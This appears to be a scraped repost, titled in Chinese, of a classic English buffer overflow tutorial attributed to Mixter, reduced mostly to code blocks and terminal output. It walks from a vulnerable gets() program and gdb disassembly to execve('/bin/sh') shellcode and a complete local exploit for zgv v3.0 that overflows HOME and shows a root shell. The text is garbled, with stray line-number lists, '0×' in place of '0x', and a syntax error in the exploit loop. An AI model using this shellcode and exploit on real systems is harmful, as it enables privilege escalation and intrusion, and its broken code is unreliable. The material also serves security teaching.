新手必读：缓冲区溢出攻击

memory address                       code
0x8054321               pushl $0x0
0x8054322                              call $0x80543a0 
0x8054327                              ret
0x8054328                              leave
...
0x80543a0               popl %eax
0x80543a1                              addl $0x1337,%eax
0x80543a4                              ret
1.
2.
3.
4.
5.
6.
7.
8.
9.

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }  
 
main() { lame (); return 0; }  
 
   
 
Compile and disassemble it:  
 
# cc -ggdb blah.c -o blah  
 
/tmp/cca017401.o: In function `lame':  
 
/root/blah.c:1: the `gets' function is dangerous and should not be used.  
 
# gdb blah  
 
/* short explanation: gdb, the GNU debugger is used here to read the  
 
   binary file and disassemble it (translate bytes to assembler code) */ 
 
(gdb) disas main  
 
Dump of assembler code for function main:  
 
0x80484c8 :       pushl  %ebp  
 
0x80484c9 :     movl   %esp,%ebp  
 
0x80484cb :     call   0x80484a0  
 
0x80484d0 :     leave  
 
0x80484d1 :     ret  
 
   
 
(gdb) disas lame  
 
Dump of assembler code for function lame:  
 
/* saving the frame pointer onto the stack right before the ret address */ 
 
0x80484a0 :       pushl  %ebp  
 
0x80484a1 :     movl   %esp,%ebp  
 
/* enlarge the stack by 0×20 or 32. our buffer is 30 characters, but the  
 
   memory is allocated 4byte-wise (because the processor uses 32bit words)  
 
   this is the equivalent to: char small[30]; */ 
 
0x80484a3 :     subl   $0×20,%esp  
 
/* load a pointer to small[30] (the space on the stack, which is located  
 
   at virtual address 0xffffffe0(%ebp)) on the stack, and call  
 
   the gets function: gets(small); */ 
 
0x80484a6 :     leal   0xffffffe0(%ebp),%eax  
 
0x80484a9 :     pushl  %eax  
 
0x80484aa :    call   0x80483ec  
 
0x80484af :    addl   $0×4,%esp  
 
/* load the address of small and the address of "%s\n" string on stack  
 
   and call the print function: printf("%s\n", small); */ 
 
0x80484b2 :    leal   0xffffffe0(%ebp),%eax  
 
0x80484b5 :    pushl  %eax  
 
0x80484b6 :    pushl  $0x804852c  
 
0x80484bb :    call   0x80483dc  
 
0x80484c0 :    addl   $0×8,%esp  
 
/* get the return address, 0x80484d0, from stack and return to that address.  
 
   you don't see that explicitly here because it is done by the CPU as 'ret' */ 
 
0x80484c3 :    leave  
 
0x80484c4 :    ret  
 
End of assembler dump. 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.

# ./blah  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    <- user input  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
# ./blah  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
Segmentation fault (core dumped)  
# gdb blah core  
(gdb) info registers  
     eax:       0×24          36  
     ecx:  0x804852f   134513967  
     edx:        0×1           1  
     ebx:   0x11a3c8     1156040  
     esp: 0xbffffdb8 -1073742408  
     ebp:   0×787878     7895160 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.

main()  
{  
int i=0; char buf[44];  
for (i=0;i<=40;i+=4)  
*(long *) &buf[i] = 0x80484cb;  
puts(buf);  
}  
# ret  
ËËËËËËËËËËË,  
# (ret;cat)|./blah  
test         <- user input  
ËËËËËËËËËËË,test  
test         <- user input  
test 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.

int  execve  (const  char  *filename, char *const argv [], char *const envp[]);  
Lets get the details of the system call from glibc2:  
# gdb /lib/libc.so.6  
(gdb) disas execve  
Dump of assembler code for function execve:  
0x5da00 :       pushl  %ebx   
/* this is the actual syscall. before a program would call execve, it would  
  push the arguments in reverse order on the stack: **envp, **argv, *filename */ 
/* put address of **envp into edx register */ 
0x5da01 :     movl   0×10(%esp,1),%edx  
/* put address of **argv into ecx register */ 
0x5da05 :     movl   0xc(%esp,1),%ecx  
/* put address of *filename into ebx register */ 
0x5da09 :     movl   0×8(%esp,1),%ebx  
/* put 0xb in eax register; 0xb == execve in the internal system call table */ 
0x5da0d :    movl   $0xb,%eax  
/* give control to kernel, to execute execve instruction */ 
0x5da12 :    int    $0×80  
   
0x5da14 :    popl   %ebx  
0x5da15 :    cmpl   $0xfffff001,%eax  
0x5da1a :    jae    0x5da1d <__syscall_error>  
0x5da1c :    ret 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.

0   jmp      (skip Z bytes forward)  
2   popl %esi  
… put function(s) here …  
Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)  
Z+5 .string     (first variable) 
1.
2.
3.
4.
5.

global code_start           /* we'll need this later, dont mind it */ 
global code_end  
       .data  
code_start:  
       jmp  0×17  
       popl %esi  
       movl %esi,0×8(%esi)     /* put address of **argv behind shellcode,  
                               0×8 bytes behind it so a /bin/sh has place */ 
       xorl %eax,%eax            /* put 0 in %eax */ 
       movb %eax,0×7(%esi)   /* put terminating 0 after /bin/sh string */ 
       movl %eax,0xc(%esi)    /* another 0 to get the size of a long word */ 
my_execve:  
       movb $0xb,%al             /* execve(         */ 
       movl %esi,%ebx           /* "/bin/sh",      */ 
       leal 0×8(%esi),%ecx      /* & of "/bin/sh", */ 
       xorl %edx,%edx           /* NULL           */ 
       int $0×80        /* );           */ 
       call -0x1c  
       .string "/bin/shX"   /* X is overwritten by movb %eax,0×7(%esi) */ 
code_end: 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.

extern void code_start();  
extern void code_end();  
#include <stdio.h>  
main() { ((void (*)(void)) code_start)(); }  
   
# cc -o code code.S code.c  
# ./code  
bash# 
1.
2.
3.
4.
5.
6.
7.
8.

#include <stdio.h>  
extern void code_start(); extern void code_end();  
main() { fprintf(stderr,"%s",code_start); 
1.
2.
3.

# export HOME=`perl -e 'printf "a" x 2000'`  
# zgv  
Segmentation fault (core dumped)  
# gdb /usr/bin/zgv core  
#0  0×61616161 in ?? ()  
(gdb) info register esp  
     esp: 0xbffff574 -1073744524 
1.
2.
3.
4.
5.
6.
7.

/*                   zgv v3.0 exploit by Mixter  
          buffer overflow tutorial – http://1337.tsx.org  
   
        sample exploit, works for example with precompiled  
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ 
   
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
   
/* This is the minimal shellcode from the tutorial */ 
static char shellcode[]=  
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" 
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";  
   
#define NOP     0×90  
#define LEN     1032  
#define RET     0xbffff574  
   
int main()  
{  
char buffer[LEN];  
long retaddr = RET;  
int i;  
   
fprintf(stderr,"using address 0x%lx\n",retaddr);  
   
/* this fills the whole buffer with the return address, see 3b) */ 
for (i=0;i<LEN;i+=4)  
   *(long *)&buffer[i] = retaddr;  
   
/* this fills the initial buffer with NOP's, 100 chars less than the  
   buffer size, so the shellcode and return address fits in comfortably */ 
for (i=0;i<LEN-strlen(shellcode)-100);i++)  
   *(buffer+i) = NOP;  
   
/* after the end of the NOPs, we copy in the execve() shellcode */ 
memcpy(buffer+i,shellcode,strlen(shellcode));  
   
/* export the variable, run zgv */ 
   
setenv("HOME", buffer, 1);  
execlp("zgv","zgv",NULL);  
return 0;  
}  
   
/* EOF */ 
   
We now have a string looking like this:  
   
[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]  
   
While zgv's stack looks like this:  
   
v– 0xbffff574 is here  
[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]  
   
The execution thread of zgv is now as follows:  
   
main … -> function() -> strcpy(smallbuffer,getenv("HOME")); 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.

0xbffff574 nop  
0xbffff575 nop  
0xbffff576 nop  
0xbffff577 jmp $0×24                    1  
0xbffff579 popl %esi          3 <–\    |  
[... shellcode starts here ...]    |    |  
0xbffff59b call -$0x1c             2 <–/  
0xbffff59e .string "/bin/shX" 
   
Lets test the exploit…  
   
# cc -o zgx zgx.c  
# ./zgx  
using address 0xbffff574  
bash# 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.